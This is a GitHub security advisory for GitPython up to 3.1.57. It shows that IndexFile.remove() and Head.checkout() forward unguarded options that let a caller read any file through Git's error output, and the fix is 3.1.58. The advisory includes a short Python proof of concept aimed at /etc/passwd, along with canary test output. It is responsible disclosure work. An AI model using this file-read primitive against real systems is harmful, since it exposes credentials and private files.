GHSA-hh9p-6wh2-4mfc

ADVISORY - github

Summary

Summary

IndexFile.remove() and Head.checkout() forward **kwargs into git rm and git checkout with no guard. Passing --pathspec-from-file=<file> together with --pathspec-file-nul makes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec error quotes it verbatim. GitPython surfaces that through GitCommandError.stderr, so the entire contents of a caller-chosen file are returned to the caller in band.

This is the same primitive as Instance 2 of GHSA-3f7w-8rr8-f37f - TagReference.create() with -F, arbitrary file read returned in band - at two sites that advisory assessed and cleared.

Prior art, and why I am filing rather than commenting

GHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment "--pathspec-from-file only reads a pathspec; no write or disclosure primitive found":

Call site git command that advisory's assessment
IndexFile.remove() rm --pathspec-from-file only reads a pathspec; no write or disclosure primitive found
IndexFile.move() mv same
HEAD.reset() reset same
HEAD.checkout() checkout same

That assessment is very nearly right, and I think that is why it held: with --pathspec-from-file alone, Git splits on newlines and the error quotes only the first line, which reads as an uninteresting partial. Adding --pathspec-file-nul - a sibling flag of the same option, and the documented way to handle paths containing newlines - makes the whole file one pathspec.

Root cause

git/index/base.py:991-1043:

def remove(self, items, working_tree=False, **kwargs):
    ...
    removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines()   # line 1043

git/refs/head.py:237-268:

def checkout(self, force: bool = False, **kwargs: Any):
    ...
    self.repo.git.checkout(self, **kwargs)                                 # line 268

Neither has an allow_unsafe_options parameter or a check_unsafe_options() call.

Proof of concept

from git import Repo
from git.exc import GitCommandError

repo = Repo("/path/to/repo")
kw = dict(pathspec_from_file="/etc/passwd", pathspec_file_nul=True)

try:
    repo.index.remove([], **kw)          # or: repo.heads[0].checkout(**kw)
except GitCommandError as e:
    print(e.stderr)                      # <- entire file contents

Observed on published 3.1.57, against a canary file holding three marked lines:

[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band
       stderr: 'fatal: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any files'
[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band
       stderr: 'error: pathspec 'LINE1-CANARY-4242
       LINE2-SECRET-7777
       LINE3-TAIL-9999
       ' did not match any file(s) known to git'
[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses
[PASS] PRECISION: the GUARDED checkout-index leaks 0/3

The two precision controls are there so the result is about these sinks and not about the canary being visible everywhere.

Scope correction to the table above

Of the four sites cleared with that sentence, two disclose and two do not:

Call site disclosed?
IndexFile.remove()git rm yes, full file
Head.checkout()git checkout yes, full file
HEAD.reset()git reset no - git reset does not error on unmatched pathspecs
IndexFile.move()git mv no

The two negatives are mentioned because "the dismissal was wrong" would overstate it: the dismissal was wrong for half of what it covered.

Common Weakness Enumeration (CWE)

ADVISORY - github

Exposure of Sensitive Information to an Unauthorized Actor

External Control of File Name or Path


GitHub

CREATED

UPDATED

EXPLOITABILITY SCORE

2.8

EXPLOITS FOUND
-
COMMON WEAKNESS ENUMERATION (CWE)

CVSS SCORE

6.5medium
PackageTypeOS NameOS VersionAffected RangesFix Versions
gitpythonpypi--<=3.1.573.1.58

CVSS:3 Severity and metrics

The CVSS metrics represent different qualitative aspects of a vulnerability that impact the overall score, as defined by the CVSS Specification.

The vulnerable component is bound to the network stack, but the attack is limited at the protocol level to a logically adjacent topology. This can mean an attack must be launched from the same shared physical (e.g., Bluetooth or IEEE 802.11) or logical (e.g., local IP subnet) network, or from within a secure or otherwise limited administrative domain (e.g., MPLS, secure VPN to an administrative network zone). One example of an Adjacent attack would be an ARP (IPv4) or neighbor discovery (IPv6) flood leading to a denial of service on the local LAN segment (e.g., CVE-2013-6014).

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

The vulnerable system can be exploited without interaction from any user.

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

There is no loss of trust or accuracy within the impacted component.

There is no impact to availability within the impacted component.